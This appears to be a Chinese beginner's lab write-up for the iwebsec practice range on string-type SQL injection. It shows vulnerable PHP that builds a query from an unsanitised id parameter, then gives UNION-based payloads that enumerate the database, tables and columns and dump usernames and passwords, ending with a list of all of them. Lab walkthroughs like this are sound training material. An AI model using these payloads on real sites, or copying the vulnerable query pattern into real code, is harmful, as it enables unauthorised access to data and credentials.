iwebsec靶场在线网站
![](https://i-blog.csdnimg.cn/blog_migrate/bdf423c6788bac5a1126a248f05fc711.png)
字符型注入
字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对单引号引起来。字符型注入典型如下:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result)
判断字符型注入
输入单引号不正常返回
?id=1'
![](https://i-blog.csdnimg.cn/blog_migrate/c58eef170158fd7de672b19247e88732.png)
输入 ' and '1'='1 正常返回
?id=1' and '1'='1
![](https://i-blog.csdnimg.cn/blog_migrate/8c1b37a5def86fc3e5c3e9c774a5314f.png)
输入' and '1'='2 不正常返回
?id=1' and '1'='2
![](https://i-blog.csdnimg.cn/blog_migrate/64f25543c05542021a221ff1b45c7f5d.png)
判断列数
?id=1' order by 3--+
![](https://i-blog.csdnimg.cn/blog_migrate/d940bc5762e61a8fc4777e1612930f6d.png)
?id=1' order by 4--+
![](https://i-blog.csdnimg.cn/blog_migrate/12e70784e8636e02e5bdc3502149db0f.png)
当列数为4时开始报错,所以只有三列
注:URL后面一定要加--+或者# 这些放在最后注释多余部分,但建议使用--+,--+比较通用
如果最后没有进行注释则会出错,如图所示
![](https://i-blog.csdnimg.cn/blog_migrate/d0ba425af7a9259d69b815560c925ccf.png)
判断报错点
?id=1' union select 1,2,3--+
![](https://i-blog.csdnimg.cn/blog_migrate/4e8671e5106be14041c2ee0b52b0b24d.png)
在图片上不难看出报错点在id name 和 age三栏
获取当前数据库名
现在已经知道报错点我们只需要所需要知道的数据放入报错点
?id=-1' union select 1,2,(database())--+
![](https://i-blog.csdnimg.cn/blog_migrate/d53d148e2e70071991326282205ec092.png)
根据这个我们可以得到数据库名为iwebsec
获取数据库中表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'--+
![](https://i-blog.csdnimg.cn/blog_migrate/73874f710186f2041a11af853d468b0e.png)
我们成功的获得了数据库的中表名:sqli,user,users,xss
获取表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
![](https://i-blog.csdnimg.cn/blog_migrate/60c0b443c02d99090f2fb1dad99cca5b.png)
在这个表里面我们获得了列名: username,password,role
获取列中的数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
![](https://i-blog.csdnimg.cn/blog_migrate/fd05c8ac8c68748c54de7b0a9b0bfd7d.png)
最后我们就获取到了数据
字符型注入用到的全部SQL语句
?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1,2,3--+
?id=-1' union select 1,2,(database())--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
这些整理出来的语句比较适用于像我这样的新手,虽然不用每一个语句都用一遍但这样比较方便我们的理解,到这里字符型注入也就结束了